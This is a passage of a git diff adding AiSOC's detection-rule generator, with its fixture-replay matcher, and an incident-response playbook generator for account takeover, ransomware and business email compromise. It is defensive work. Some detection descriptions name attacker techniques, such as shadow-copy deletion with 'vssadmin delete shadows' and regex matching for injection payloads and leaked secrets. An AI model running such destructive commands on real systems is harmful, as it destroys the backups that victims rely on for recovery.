"secret_count_per_principal": 80, "principal_type": "human", "time_window_minutes": 4, "principal": "[email protected]"},+ "negative": {"event_type": "GetSecretValue", "secret_count_per_principal": 60, "principal_type": "service", "time_window_minutes": 4, "principal": "deploy-bot"},+ },+]++# fmt: ondiff --git a/scripts/generate_detections.py b/scripts/generate_detections.pynew file mode 100644index 000000000..be508725d--- /dev/null+++ b/scripts/generate_detections.py@@ -0,0 +1,507 @@+#!/usr/bin/env python3+"""+AiSOC Detection Pack v1 - Generator+====================================++Walks the canonical specifications in `detection_specs.py` and+`detection_specs_part2.py` and emits:++ detections/<category>/<slug>.yaml+ detections/fixtures/positive/<slug>.json+ detections/fixtures/negative/<slug>.json++The rendered YAML follows the same shape as the hand-authored seed rules+(`detections/cloud/aws-root-account-login.yaml` etc.) so the existing+`validate_detections.py` checks all pass.++Run:+ python3 scripts/generate_detections.py++The generator is idempotent: running it twice produces byte-identical+output, so it is safe to invoke from CI to verify "the on-disk pack matches+the spec table" (drift check).++Design notes+------------+* IDs are deterministic: `det-<category>-<NNN>` zero-padded to 3 digits,+ assigned in the order the spec table is iterated. This makes the+ marketplace stable across regenerations as long as the spec list order+ is preserved.+* `match_when` operators (eq / `_in` / `_gt` / `_lt` / `_contains_any` /+ `_match_any`) are rendered into a human-readable condition string that+ mirrors the seed rules.+* The same `match_when` is what `validate_detections.py` evaluates+ against the positive/negative fixtures (fixture-replay).+"""++from __future__ import annotations++import json+import re+import sys+from pathlib import Path+from typing import Any++try:+ import yaml+except ImportError:+ print("ERROR: PyYAML not installed. Run: pip install pyyaml", file=sys.stderr)+ sys.exit(1)++ROOT = Path(__file__).parent.parent+DETECTIONS_DIR = ROOT / "detections"+SCRIPTS_DIR = ROOT / "scripts"++if str(SCRIPTS_DIR) not in sys.path:+ sys.path.insert(0, str(SCRIPTS_DIR))++from detection_specs_index import CATEGORIES # noqa: E402 (after sys.path tweak)+++# -----------------------------------------------------------------------------+# Operator table — single source of truth for matcher AND condition rendering.+# -----------------------------------------------------------------------------+#+# Order matters: longer suffixes MUST be checked before shorter ones, otherwise+# `_pattern_match_any` would be eaten by `_match_any`, and `_not_in` would be+# eaten by `_in`. We sort by descending suffix length at module import.+#+# Each entry: (suffix, op_name, condition_token).+# `condition_token` is the human-readable infix used in YAML rendering.+# -----------------------------------------------------------------------------++OPERATORS: list[tuple[str, str, str]] = sorted(+ [+ ("_pattern_match_any", "pattern_match_any", "PATTERN_MATCH_ANY"),+ ("_not_endswith_any", "not_endswith_any", "NOT ENDSWITH_ANY"),+ ("_not_contains_any", "not_contains_any", "NOT CONTAINS_ANY"),+ ("_pattern_match", "pattern_match", "PATTERN_MATCH"),+ ("_not_startswith", "not_startswith", "NOT STARTSWITH"),+ ("_startswith_any", "startswith_any", "STARTSWITH_ANY"),+ ("_endswith_any", "endswith_any", "ENDSWITH_ANY"),+ ("_contains_any", "contains_any", "CONTAINS_ANY"),+ ("_contains_all", "contains_all", "CONTAINS_ALL"),+ ("_startswith", "startswith", "STARTSWITH"),+ ("_match_any", "match_any", "MATCH_ANY"),+ ("_endswith", "endswith", "ENDSWITH"),+ ("_contains", "contains", "CONTAINS"),+ ("_has_any", "has_any", "HAS_ANY"),+ ("_not_in", "not_in", "NOT IN"),+ ("_match", "match", "MATCH"),+ ("_gte", "gte", ">="),+ ("_lte", "lte", "<="),+ ("_in", "in", "IN"),+ ("_gt", "gt", ">"),+ ("_lt", "lt", "<"),+ ],+ key=lambda x: -len(x[0]),+)+++def _split_op(key: str) -> tuple[str, str]:+ """Return (field, op_name). Plain equality / null check ⇒ op == 'eq'."""+ for suffix, op_name, _ in OPERATORS:+ if key.endswith(suffix):+ return key[: -len(suffix)], op_name+ return key, "eq"+++# -----------------------------------------------------------------------------+# Condition rendering+# -----------------------------------------------------------------------------+++def _format_value(value: Any) -> str:+ if value is None:+ return "NULL"+ if isinstance(value, bool):+ return "true" if value else "false"+ if isinstance(value, (int, float)):+ return str(value)+ return f'"{value}"'+++def _format_list(values: list[Any]) -> str:+ return "[" + ", ".join(_format_value(v) for v in values) + "]"+++_OP_TOKEN: dict[str, str] = {op: token for _, op, token in OPERATORS}+++def _render_clause_part(key: str, value: Any) -> str:+ """Render a single clause entry into one human-readable line."""+ if key == "any_of" and isinstance(value, list):+ sub_lines = [f" - {_render_subclause(sub)}" for sub in value]+ return "ANY OF:\n" + "\n".join(sub_lines)+ if key == "all_of" and isinstance(value, list):+ sub_lines = [f" - {_render_subclause(sub)}" for sub in value]+ return "ALL OF:\n" + "\n".join(sub_lines)+ field, op = _split_op(key)+ if op == "eq":+ if value is None:+ return f"{field} IS NULL"+ return f"{field} == {_format_value(value)}"+ token = _OP_TOKEN[op]+ if op in {"gt", "gte", "lt", "lte"}:+ return f"{field} {token} {_format_value(value)}"+ if isinstance(value, list):+ return f"{field} {token} {_format_list(value)}"+ return f"{field} {token} {_format_value(value)}"+++def _render_subclause(clause: dict[str, Any]) -> str:+ """Render a sub-clause of any_of/all_of as a single inline AND-joined string."""+ parts = [_render_clause_part(k, v) for k, v in clause.items()]+ return " AND ".join(parts)+++def render_condition(match_when: dict[str, Any]) -> str:+ """Render the spec's match_when into a human-readable condition string."""+ parts = [_render_clause_part(k, v) for k, v in match_when.items()]+ return "\nAND ".join(parts)+++# -----------------------------------------------------------------------------+# Fixture-replay matcher+# -----------------------------------------------------------------------------+#+# Single source of truth for evaluating a `match_when` dict against an event+# dict. The validator imports this so the YAML on disk is purely a serialized+# artifact — the spec is the truth.+# -----------------------------------------------------------------------------+++def _to_lc_str(value: Any) -> str:+ return str(value).lower() if value is not None else ""+++def _check(field: str, op: str, expected: Any, event: dict[str, Any]) -> bool:+ actual = event.get(field)++ if op == "eq":+ if expected is None:+ return actual is None+ return actual == expected++ if op in {"gt", "gte", "lt", "lte"}:+ if not isinstance(actual, (int, float)) or isinstance(actual, bool):+ return False+ if op == "gt":+ return actual > expected+ if op == "gte":+ return actual >= expected+ if op == "lt":+ return actual < expected+ return actual <= expected++ if op == "in":+ return actual in expected if isinstance(expected, list) else False++ if op == "not_in":+ return actual not in expected if isinstance(expected, list) else False++ if op == "contains_any":+ # Dual mode: list-intersect if `actual` is a list, else substring.+ if isinstance(actual, list):+ actual_lc = {_to_lc_str(x) for x in actual}+ return any(_to_lc_str(n) in actual_lc for n in expected)+ haystack = _to_lc_str(actual)+ return any(_to_lc_str(n) in haystack for n in expected)++ if op == "contains_all":+ if isinstance(actual, list):+ actual_lc = {_to_lc_str(x) for x in actual}+ return all(_to_lc_str(n) in actual_lc for n in expected)+ haystack = _to_lc_str(actual)+ return all(_to_lc_str(n) in haystack for n in expected)++ if op == "match_any":+ # Glob-style ('host-1*') OR exact equality. Wildcards = '*'.+ if not isinstance(expected, list):+ return False+ actual_str = "" if actual is None else str(actual)+ for pat in expected:+ pat_str = str(pat)+ if "*" in pat_str:+ regex = "^" + re.escape(pat_str).replace(r"\*", ".*") + "$"+ if re.match(regex, actual_str):+ return True+ elif actual_str == pat_str:+ return True+ return False++ if op == "pattern_match_any":+ # Regex match against string actual. Used for SQLi/XSS payloads,+ # secret patterns (AKIA[A-Z0-9]{16}), JNDI strings, etc.+ if not isinstance(expected, list) or actual is None:+ return False+ actual_str = str(actual)+ for pat in expected:+ try:+ if re.search(str(pat), actual_str, re.IGNORECASE):+ return True+ except re.error:+ # Treat as literal substring on regex compile error.+ if str(pat).lower() in actual_str.lower():+ return True+ return False++ if op == "endswith":+ return isinstance(actual, str) and actual.endswith(str(expected))++ if op == "endswith_any":+ if not isinstance(expected, list) or not isinstance(actual, str):+ return False+ return any(actual.endswith(str(s)) for s in expected)++ if op == "startswith":+ return isinstance(actual, str) and actual.startswith(str(expected))++ if op == "startswith_any":+ if not isinstance(expected, list) or not isinstance(actual, str):+ return False+ return any(actual.startswith(str(s)) for s in expected)++ if op == "not_startswith":+ if not isinstance(actual, str):+ return False+ return not actual.startswith(str(expected))++ if op == "contains":+ # Single substring contains. List actual ⇒ membership; string ⇒ substring.+ if isinstance(actual, list):+ return expected in actual+ if isinstance(actual, str):+ return str(expected) in actual+ return False++ if op == "has_any":+ # List intersection. Used when `actual` is a list of tokens (perms, tags).+ if not isinstance(expected, list) or not isinstance(actual, list):+ return False+ actual_lc = {_to_lc_str(x) for x in actual}+ return any(_to_lc_str(n) in actual_lc for n in expected)++ if op == "match":+ # Single regex pattern, case-insensitive search.+ if actual is None:+ return False+ try:+ return bool(re.search(str(expected), str(actual), re.IGNORECASE))+ except re.error:+ return str(expected).lower() in str(actual).lower()++ if op == "pattern_match":+ # Single regex pattern (alias of `match` for spec-readability).+ if actual is None:+ return False+ try:+ return bool(re.search(str(expected), str(actual), re.IGNORECASE))+ except re.error:+ return str(expected).lower() in str(actual).lower()++ if op == "not_endswith_any":+ # Allowlist negation: rule fires only when `actual` does NOT end with any+ # of the supplied suffixes. Used to carve out legit-binary basenames in+ # otherwise-broad endpoint rules (e.g. browser-credential-grabber).+ if not isinstance(expected, list) or not isinstance(actual, str):+ return False+ return not any(actual.endswith(str(s)) for s in expected)++ if op == "not_contains_any":+ if not isinstance(expected, list):+ return False+ if isinstance(actual, list):+ actual_lc = {_to_lc_str(x) for x in actual}+ return not any(_to_lc_str(n) in actual_lc for n in expected)+ haystack = _to_lc_str(actual)+ return not any(_to_lc_str(n) in haystack for n in expected)++ return False+++def _eval_clause(clause: dict[str, Any], event: dict[str, Any]) -> bool:+ """Evaluate a clause dict (possibly nested) against an event."""+ for key, expected in clause.items():+ if key == "any_of":+ if not isinstance(expected, list) or not any(+ _eval_clause(sub, event) for sub in expected+ ):+ return False+ continue+ if key == "all_of":+ if not isinstance(expected, list) or not all(+ _eval_clause(sub, event) for sub in expected+ ):+ return False+ continue+ field, op = _split_op(key)+ if not _check(field, op, expected, event):+ return False+ return True+++def matches(match_when: dict[str, Any], event: dict[str, Any]) -> bool:+ """Return True if `event` satisfies every clause in `match_when`."""+ return _eval_clause(match_when, event)+++# -----------------------------------------------------------------------------+# YAML rendering+# -----------------------------------------------------------------------------+++def _description_for(spec: dict, category: str) -> str:+ """Return the spec's description override or generate a deterministic one.++ Specs may provide a richer hand-authored `description` (preferred for the+ 11 original seed rules and any flagship rule). When absent, fall back to a+ deterministic blurb derived from name + false-positive count so every rule+ has at least a usable description.+ """+ override = spec.get("description")+ if override:+ return str(override).strip()++ name = spec["name"]+ fp_count = len(spec.get("fp", []))+ plural = "s" if fp_count != 1 else ""+ fp_clause = (+ f" Watch the {fp_count} documented false-positive case{plural} "+ f"before tuning."+ if fp_count+ else ""+ )+ return (+ f"AiSOC v1 curated detection. Triggers on the {category} signal "+ f"described by '{name}'.{fp_clause}"+ )+++def _yaml_safe_value(value: Any) -> Any:+ if isinstance(value, set):+ return sorted(value)+ return value+++class _LiteralStr(str):+ """Marker subclass so PyYAML emits the value as a literal block scalar."""+++def _literal_str_representer(dumper: yaml.Dumper, data: _LiteralStr): # type: ignore[name-defined]+ return dumper.represent_scalar(+ "tag:yaml.org,2002:str", str(data), style="|"+ )+++yaml.add_representer(_LiteralStr, _literal_str_representer) # type: ignore[arg-type]+++def render_rule_yaml(+ *, rule_id: str, category: str, spec: dict+) -> str:+ """Render the canonical YAML for one detection rule."""+ name: str = spec["name"]+ severity: str = spec["severity"]+ mitre: list[str] = list(spec.get("mitre", []))+ log_source: dict = dict(spec["log_source"])+ fp: list[str] = list(spec.get("fp", []))+ playbook = spec.get("playbook")+ match_when = spec["match_when"]++ tags = [f"mitre.attack.{t}" for t in mitre] + ["tlp.white"]++ condition_text = render_condition(match_when) + "\n"++ rule: dict[str, Any] = {+ "id": rule_id,+ "name": name,+ "description": _description_for(spec, category),+ "version": "1.0.0",+ "severity": severity,+ "tags": tags,+ "category": category,+ "log_source": log_source,+ "detection": {"condition": _LiteralStr(condition_text)},+ "false_positives": fp,+ }+ if playbook:+ rule["playbook"] = playbook+ rule["enabled"] = True+ rule["author"] = "AiSOC"+ rule["created"] = "2026-05-03"+ rule["modified"] = "2026-05-03"++ text = yaml.dump(+ {k: _yaml_safe_value(v) for k, v in rule.items()},+ sort_keys=False,+ default_flow_style=False,+ width=100,+ allow_unicode=True,+ )+ return text+++# -----------------------------------------------------------------------------+# Filesystem layout+# -----------------------------------------------------------------------------+++def _ensure_dir(path: Path) -> None:+ path.mkdir(parents=True, exist_ok=True)+++def write_pack(*, dry_run: bool = False) -> dict[str, int]:+ """Generate the full pack to disk. Returns counts per category."""+ counts: dict[str, int] = {}+ for category, specs in sorted(CATEGORIES.items()):+ cat_dir = DETECTIONS_DIR / category+ pos_dir = DETECTIONS_DIR / "fixtures" / "positive"+ neg_dir = DETECTIONS_DIR / "fixtures" / "negative"+ if not dry_run:+ _ensure_dir(cat_dir)+ _ensure_dir(pos_dir)+ _ensure_dir(neg_dir)++ for idx, spec in enumerate(specs, start=1):+ slug = spec["slug"]+ rule_id = f"det-{category}-{idx:03d}"++ yaml_text = render_rule_yaml(+ rule_id=rule_id, category=category, spec=spec+ )+ yaml_path = cat_dir / f"{slug}.yaml"++ pos_path = pos_dir / f"{slug}.json"+ neg_path = neg_dir / f"{slug}.json"++ if dry_run:+ continue++ yaml_path.write_text(yaml_text, encoding="utf-8")+ pos_path.write_text(+ json.dumps(spec["positive"], indent=2, sort_keys=True) + "\n",+ encoding="utf-8",+ )+ neg_path.write_text(+ json.dumps(spec["negative"], indent=2, sort_keys=True) + "\n",+ encoding="utf-8",+ )++ counts[category] = len(specs)+ return counts+++def main() -> int:+ counts = write_pack(dry_run=False)+ total = sum(counts.values())+ print("AiSOC detection pack regenerated:")+ for category, count in sorted(counts.items()):+ print(f" {category:14s} {count:4d}")+ print(f" {'TOTAL':14s} {total:4d}")+ print(f" output: {DETECTIONS_DIR.relative_to(ROOT)}")+ return 0+++if __name__ == "__main__":+ sys.exit(main())diff --git a/scripts/generate_playbooks.py b/scripts/generate_playbooks.pynew file mode 100755index 000000000..d1f10e83e--- /dev/null+++ b/scripts/generate_playbooks.py@@ -0,0 +1,1619 @@+#!/usr/bin/env python3+"""+Generate the AiSOC v1 production playbook pack.++Specs below are the canonical source of truth. Running this script materialises+50 playbooks under `playbooks/packs/v1/<category>/<slug>.playbook.json`.++The PlaybookStore (services/agents/app/playbook/store.py) loads from this tree+on startup, so the runtime always sees what's checked in.++Distribution per Phase 3B of the AiSOC 90-day plan:++ account-takeover 5+ ransomware 5+ bec 5+ insider-risk 5+ cloud-misconfig 10+ data-exfil 5+ lateral-movement 5+ supply-chain 5+ ddos 5+ -------------------- --+ 50++Step vocabulary is constrained to the runtime's StepType enum+(services/agents/app/playbook/models.py): enrich, investigate, notify,+block_ip, isolate_host, create_ticket, close_case, http, condition.++Human-approval gates are modelled as `condition` steps that read a+context flag (e.g. `context.approved_by_oncall`); the flag is expected+to be set by an out-of-band approval system (Slack interactive, email,+or the AiSOC web console) before the gated step runs.++Rollback is modelled by pairing every containment action with a+`condition` + matching reverse-action step, gated on+`verdict == false_positive`.+"""+from __future__ import annotations++import json+import shutil+from pathlib import Path+from typing import Any++ROOT = Path(__file__).resolve().parent.parent+PACK_ROOT = ROOT / "playbooks" / "packs" / "v1"++NOW = "2026-05-03T00:00:00+00:00"+++# ---------------------------------------------------------------------------+# Builder helpers+# ---------------------------------------------------------------------------+++def step(+ sid: str,+ name: str,+ type_: str,+ *,+ params: dict[str, Any] | None = None,+ on_failure: str = "continue",+ timeout: int = 30,+ retry_max: int = 0,+ condition: dict[str, Any] | None = None,+ next_true: str | None = None,+ next_false: str | None = None,+) -> dict[str, Any]:+ s: dict[str, Any] = {+ "id": sid,+ "name": name,+ "type": type_,+ "params": params or {},+ "on_failure": on_failure,+ "retry_max": retry_max,+ "timeout_seconds": timeout,+ }+ if condition is not None:+ s["condition"] = condition+ if next_true is not None:+ s["next_true"] = next_true+ if next_false is not None:+ s["next_false"] = next_false+ return s+++def enrich(sid: str, name: str, indicator_field: str) -> dict[str, Any]:+ return step(+ sid, name, "enrich",+ params={"indicator_field": indicator_field},+ on_failure="continue", timeout=30,+ )+++def investigate(sid: str, name: str, focus: str | None = None) -> dict[str, Any]:+ params: dict[str, Any] = {"case_id_field": "alert.case_id"}+ if focus:+ params["focus"] = focus+ return step(sid, name, "investigate", params=params,+ on_failure="continue", timeout=180)+++def notify(sid: str, name: str, channel: str, message: str,+ service_env: str | None = None,+ webhook_env: str | None = None) -> dict[str, Any]:+ params: dict[str, Any] = {"channel": channel, "message_template": message}+ if service_env:+ params["service_key_env"] = service_env+ if webhook_env:+ params["webhook_env"] = webhook_env+ return step(sid, name, "notify", params=params, timeout=10)+++def block_ip(sid: str, name: str, ip_field: str, duration: str = "24h") -> dict[str, Any]:+ return step(+ sid, name, "block_ip",+ params={"ip_field": ip_field, "duration": duration},+ on_failure="abort", timeout=20,+ )+++def isolate_host(sid: str, name: str, host_field: str = "alert.host") -> dict[str, Any]:+ return step(+ sid, name, "isolate_host",+ params={"host_field": host_field},+ on_failure="abort", timeout=30,+ )+++def ticket(sid: str, name: str, priority: str, title: str,+ queue: str = "soc") -> dict[str, Any]:+ return step(+ sid, name, "create_ticket",+ params={"priority": priority, "title_template": title, "queue": queue},+ timeout=20,+ )+++def close_case(sid: str, name: str, resolution: str = "false_positive",+ condition: dict[str, Any] | None = None) -> dict[str, Any]:+ return step(+ sid, name, "close_case",+ params={"resolution": resolution},+ condition=condition, timeout=10,+ )+++def http(sid: str, name: str, url: str, method: str = "POST",+ body_template: str | None = None,+ headers_env: str | None = None) -> dict[str, Any]:+ params: dict[str, Any] = {"url": url, "method": method}+ if body_template:+ params["body_template"] = body_template+ if headers_env:+ params["headers_env"] = headers_env+ return step(sid, name, "http", params=params, timeout=20)+++def condition(sid: str, name: str, field: str, op: str, value: Any,+ next_true: str | None = None,+ next_false: str | None = None) -> dict[str, Any]:+ cond: dict[str, Any] = {"field": field, "operator": op}+ if value is not None:+ cond["value"] = value+ return step(+ sid, name, "condition",+ params={},+ condition=cond,+ next_true=next_true,+ next_false=next_false,+ timeout=5,+ )+++def gate_human_approval(sid: str, on_oncall_field: str = "context.approved_by_oncall",+ next_true: str | None = None,+ next_false: str | None = None) -> dict[str, Any]:+ """A condition step that gates downstream work on out-of-band approval."""+ return condition(+ sid,+ "Wait for human approval",+ field=on_oncall_field,+ op="eq",+ value=True,+ next_true=next_true,+ next_false=next_false,+ )+++def make_playbook(+ *,+ pid: str,+ name: str,+ description: str,+ category: str,+ severity: list[str],+ tags: list[str],+ steps: list[dict[str, Any]],+ trigger_on: str = "alert",+ trigger_tags: list[str] | None = None,+ version: str = "1.0.0",+) -> dict[str, Any]:+ return {+ "id": pid,+ "name": name,+ "description": description,+ "version": version,+ "tags": [category, *tags],+ "trigger": {+ "on": trigger_on,+ "severity": severity,+ "tags": trigger_tags or [category],+ },+ "author": "AiSOC",+ "enabled": True,+ "created_at": NOW,+ "updated_at": NOW,+ "steps": steps,+ }+++# ---------------------------------------------------------------------------+# Per-category playbook specs+# ---------------------------------------------------------------------------+++# Some category slugs map to directory names different from their tag prefix.+CATEGORY_DIRS = {+ "account-takeover": "account-takeover",+ "ransomware": "ransomware",+ "bec": "bec",+ "insider-risk": "insider-risk",+ "cloud-misconfig": "cloud-misconfig",+ "data-exfil": "data-exfil",+ "lateral-movement": "lateral-movement",+ "supply-chain": "supply-chain",+ "ddos": "ddos",+}+++def build_account_takeover() -> list[dict[str, Any]]:+ cat = "account-takeover"+ return [+ make_playbook(+ pid="ato-impossible-travel-block-v1",+ name="ATO: Impossible Travel — Block & Reset",+ description=(+ "Triggered by impossible-travel detections. Blocks the source IP, "+ "force-revokes active sessions for the user, and requires human "+ "approval before forcing a password reset."+ ),+ category=cat, severity=["high", "critical"],+ tags=["ato", "identity", "mitre.t1078"],+ steps=[+ enrich("e1", "Geo-enrich source IP", "alert.source_ip"),+ investigate("inv", "Investigate user activity", focus="identity"),+ block_ip("b1", "Block source IP at edge", "alert.source_ip", "12h"),+ http("rev", "Revoke active sessions",+ url="${IDP_BASE_URL}/users/{{alert.user}}/sessions",+ method="DELETE", headers_env="IDP_BEARER_HEADERS"),+ notify("n1", "Notify user via email", "email",+ message="Suspicious sign-in from {{alert.source_ip}} blocked. "+ "Reset your password.",+ webhook_env="EMAIL_WEBHOOK"),+ gate_human_approval("approve", next_true="reset"),+ http("reset", "Force password reset",+ url="${IDP_BASE_URL}/users/{{alert.user}}/password/reset",+ method="POST", headers_env="IDP_BEARER_HEADERS"),+ ticket("t1", "Open ATO investigation ticket",+ "P2", "ATO suspected: {{alert.user}} from {{alert.source_ip}}"),+ close_case("close-fp", "Close if false positive",+ condition={"field": "verdict", "operator": "eq",+ "value": "false_positive"}),+ ],+ ),+ make_playbook(+ pid="ato-mfa-fatigue-response-v1",+ name="ATO: MFA Fatigue — Challenge & Reset",+ description=(+ "Triggered when a user receives an unusual burst of MFA prompts. "+ "Enforces step-up auth and resets MFA factors after approval."+ ),+ category=cat, severity=["medium", "high"],+ tags=["ato", "identity", "mfa", "mitre.t1621"],+ steps=[+ enrich("e1", "Enrich user device posture", "alert.user"),+ investigate("inv", "Score MFA-fatigue likelihood"),+ http("step-up", "Force step-up auth challenge",+ url="${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge",+ method="POST"),+ notify("n1", "DM user on Slack", "slack",+ message="We've challenged your sign-in due to repeated MFA prompts. "+ "Approve only if you initiated.",+ webhook_env="SLACK_USER_WEBHOOK"),+ gate_human_approval("approve", next_true="reset-mfa"),+ http("reset-mfa", "Reset enrolled MFA factors",+ url="${IDP_BASE_URL}/users/{{alert.user}}/factors",+ method="DELETE"),+ ticket("t1", "Open MFA-fatigue case",+ "P3", "MFA fatigue investigation: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="ato-credential-stuffing-v1",+ name="ATO: Credential Stuffing — Block & Reset",+ description=(+ "Triggered by high-volume failed logins from a single source. "+ "Blocks the IP range, identifies impacted users, and forces resets."+ ),+ category=cat, severity=["high", "critical"],+ tags=["ato", "identity", "mitre.t1110.004"],+ steps=[+ enrich("e1", "Enrich source IP reputation", "alert.source_ip"),+ block_ip("b1", "Block source IP", "alert.source_ip", "48h"),+ http("list", "List impacted users",+ url="${SIEM_URL}/search/credential_stuffing/{{alert.source_ip}}",+ method="GET"),+ investigate("inv", "Investigate cred-stuffing campaign",+ focus="identity"),+ http("reset-all", "Force reset for impacted users",+ url="${IDP_BASE_URL}/bulk/password-reset",+ method="POST",+ body_template='{"user_ids": {{context.impacted_user_ids}}}'),+ notify("n1", "Page identity team", "pagerduty",+ message="Credential stuffing from {{alert.source_ip}}: "+ "{{context.impacted_user_count}} users reset.",+ service_env="PD_IDENTITY_KEY"),+ ticket("t1", "Open ATO ticket",+ "P1", "Credential stuffing: {{alert.source_ip}}"),+ ],+ ),+ make_playbook(+ pid="ato-session-token-theft-v1",+ name="ATO: Session Token Theft — Revoke & Isolate",+ description=(+ "Triggered when an authenticated session is observed from a new "+ "device + new geo simultaneously. Revokes all tokens and isolates "+ "the originating endpoint if known."+ ),+ category=cat, severity=["critical"],+ tags=["ato", "identity", "session-hijack", "mitre.t1539"],+ steps=[+ enrich("e1", "Enrich session context", "alert.session_id"),+ http("revoke", "Revoke all sessions for user",+ url="${IDP_BASE_URL}/users/{{alert.user}}/sessions/revoke-all",+ method="POST"),+ investigate("inv", "Investigate token-theft chain",+ focus="forensics"),+ isolate_host("iso", "Isolate originating endpoint", "alert.host"),+ notify("n1", "Page on-call", "pagerduty",+ message="Session theft suspected for {{alert.user}}. "+ "Tokens revoked, host {{alert.host}} isolated.",+ service_env="PD_SOC_KEY"),+ ticket("t1", "Open P1 ATO ticket",+ "P1", "Session token theft: {{alert.user}}"),+ ],+ ),+ make_playbook(+ pid="ato-suspicious-oauth-grant-v1",+ name="ATO: Suspicious OAuth Grant — Revoke & Investigate",+ description=(+ "Triggered when a user grants a new OAuth scope to an unfamiliar "+ "third-party app. Revokes the grant and investigates."+ ),+ category=cat, severity=["medium", "high"],+ tags=["ato", "identity", "oauth", "mitre.t1528"],+ steps=[+ enrich("e1", "Enrich OAuth client reputation",+ "alert.oauth_client_id"),+ investigate("inv", "Investigate scope and lineage",+ focus="identity"),+ http("revoke", "Revoke OAuth grant",+ url="${IDP_BASE_URL}/users/{{alert.user}}/oauth/{{alert.oauth_client_id}}",+ method="DELETE"),+ notify("n1", "Notify user", "email",+ message="Removed OAuth grant for {{alert.oauth_client_app_name}}. "+ "Re-add only if intentional.",+ webhook_env="EMAIL_WEBHOOK"),+ ticket("t1", "Open OAuth-abuse ticket",+ "P3", "Suspicious OAuth grant: {{alert.user}} -> "+ "{{alert.oauth_client_app_name}}"),+ ],+ ),+ ]+++def build_ransomware() -> list[dict[str, Any]]:+ cat = "ransomware"+ return [+ make_playbook(+ pid="ransomware-host-isolate-v1",+ name="Ransomware: Host Isolation & Snapshot",+ description=(+ "Immediate host isolation, disk snapshot for forensics, page on-call. "+ "Standard first-response for endpoint ransomware."+ ),+ category=cat, severity=["critical"],+ tags=["ransomware", "endpoint", "mitre.t1486"],+ steps=[+ isolate_host("iso", "Isolate host (EDR)"),+ http("snap", "Snapshot host disk",+ url="${EDR_URL}/hosts/{{alert.host}}/snapshot",+ method="POST"),+ enrich("e1", "Enrich file hash", "alert.file_hash"),+ investigate("inv", "Forensic investigation", focus="forensics"),+ notify("n1", "Page on-call (SEV1)", "pagerduty",+ message="RANSOMWARE: {{alert.host}} isolated. "+ "Snapshot {{context.snapshot_id}} taken.",+ service_env="PD_RANSOMWARE_KEY"),+ ticket("t1", "Open SEV1 ticket",+ "P1", "RANSOMWARE: {{alert.host}}"),+ ],+ ),+ make_playbook(+ pid="ransomware-shadow-copy-deletion-v1",+ name="Ransomware: Shadow Copy Deletion Detected",+ description=(+ "Triggered on `vssadmin delete shadows` or wmic shadowcopy delete. "+ "Pre-encryption signal — isolate fast and verify backups."+ ),+ category=cat, severity=["critical"],+ tags=["ransomware", "endpoint", "mitre.t1490"],+ steps=[+ isolate_host("iso", "Isolate host (EDR)"),+ http("verify-backup", "Verify last successful backup",+ url="${BACKUP_URL}/hosts/{{alert.host}}/last-backup",+ method="GET"),+ investigate("inv", "Forensic investigation",+ focus="forensics"),+ notify("n1", "Notify backup team", "slack",+ message="Shadow-copy deletion on {{alert.host}}. "+ "Last backup: {{context.last_backup_at}}.",+ webhook_env="SLACK_BACKUP_WEBHOOK"),+ ticket("t1", "Open ransomware ticket",+ "P1", "Shadow copies deleted: {{alert.host}}"),+ ],+ ),+ make_playbook(+ pid="ransomware-fileserver-encrypt-v1",+ name="Ransomware: File-Server Encryption Activity",+ description=(+ "Triggered by mass-rename / mass-extension-change on a file server. "+ "Network-segments the host to halt SMB lateral encryption."+ ),+ category=cat, severity=["critical"],+ tags=["ransomware", "fileserver", "mitre.t1486"],+ steps=[+ isolate_host("iso", "Network-segment file server"),+ http("smb-deny", "Push deny rule to firewall (SMB)",+ url="${FW_URL}/policy/deny-smb",+ method="POST",+ body_template='{"src":"{{alert.host}}","port":445}'),+ investigate("inv", "Forensic investigation",+ focus="forensics"),+ notify("n1", "Page storage and on-call", "pagerduty",+ message="File-server ransomware: {{alert.host}}. "+ "SMB egress blocked.",+ service_env="PD_STORAGE_KEY"),+ ticket("t1", "Open SEV1 ticket",+ "P1", "File-server ransomware: {{alert.host}}"),+ ],+ ),+ make_playbook(+ pid="ransomware-c2-block-v1",+ name="Ransomware: C2 Beacon Block",+ description=(+ "Triggered by C2 beaconing detections that match ransomware-family "+ "TTPs. Blocks C2 destinations at edge, isolates source host."+ ),+ category=cat, severity=["critical"],+ tags=["ransomware", "c2", "mitre.t1071"],+ steps=[+ enrich("e1", "Enrich destination IP", "alert.dst_ip"),+ block_ip("b1", "Block C2 destination", "alert.dst_ip", "30d"),+ isolate_host("iso", "Isolate beaconing host"),+ investigate("inv", "Investigate ransomware C2",+ focus="forensics"),+ notify("n1", "Notify SOC", "slack",+ message="C2 {{alert.dst_ip}} blocked. "+ "Host {{alert.host}} isolated.",+ webhook_env="SLACK_SOC_WEBHOOK"),+ ticket("t1", "Open C2 ticket",+ "P1", "Ransomware C2: {{alert.host}} -> "+ "{{alert.dst_ip}}"),+ ],+ ),+ make_playbook(+ pid="ransomware-public-exposure-v1",+ name="Ransomware: Internet-Exposed Asset Containment",+ description=(+ "Triggered when a host with public exposure shows ransomware "+ "indicators. Pulls the asset off the internet immediately."+ ),+ category=cat, severity=["critical"],+ tags=["ransomware", "exposure", "mitre.t1486"],+ steps=[+ http("detach-eip", "Detach public IP",+ url="${CLOUD_URL}/instances/{{alert.host}}/detach-public-ip",+ method="POST"),+ isolate_host("iso", "Isolate host (EDR)"),+ http("snap", "Snapshot host disk",+ url="${EDR_URL}/hosts/{{alert.host}}/snapshot",+ method="POST"),+ investigate("inv", "Forensic investigation",+ focus="forensics"),+ notify("n1", "Page on-call (SEV1)", "pagerduty",+ message="Internet-exposed host {{alert.host}} pulled off-net. "+ "Ransomware suspected.",+ service_env="PD_RANSOMWARE_KEY"),+ ticket("t1", "Open SEV1 ticket",+ "P1", "Ransomware on exposed host: {{alert.host}}"),+ ],+ ),+ ]+++def build_bec() -> list[dict[str, Any]]:+ cat = "bec"+ return [+ make_playbook(+ pid="bec-inbox-rule-malicious-v1",+ name="BEC: Malicious Inbox Rule Removed",+ description=(+ "Triggered when a forwarding/filter rule is created that hides "+ "vendor or finance keywords. Removes the rule and resets creds."+ ),+ category=cat, severity=["high", "critical"],+ tags=["bec", "email", "mitre.t1564.008"],+ steps=[+ enrich("e1", "Enrich rule details",+ "alert.inbox_rule_id"),+ http("delete-rule", "Delete malicious inbox rule",+ url="${MAIL_URL}/users/{{alert.user}}/rules/{{alert.inbox_rule_id}}",+ 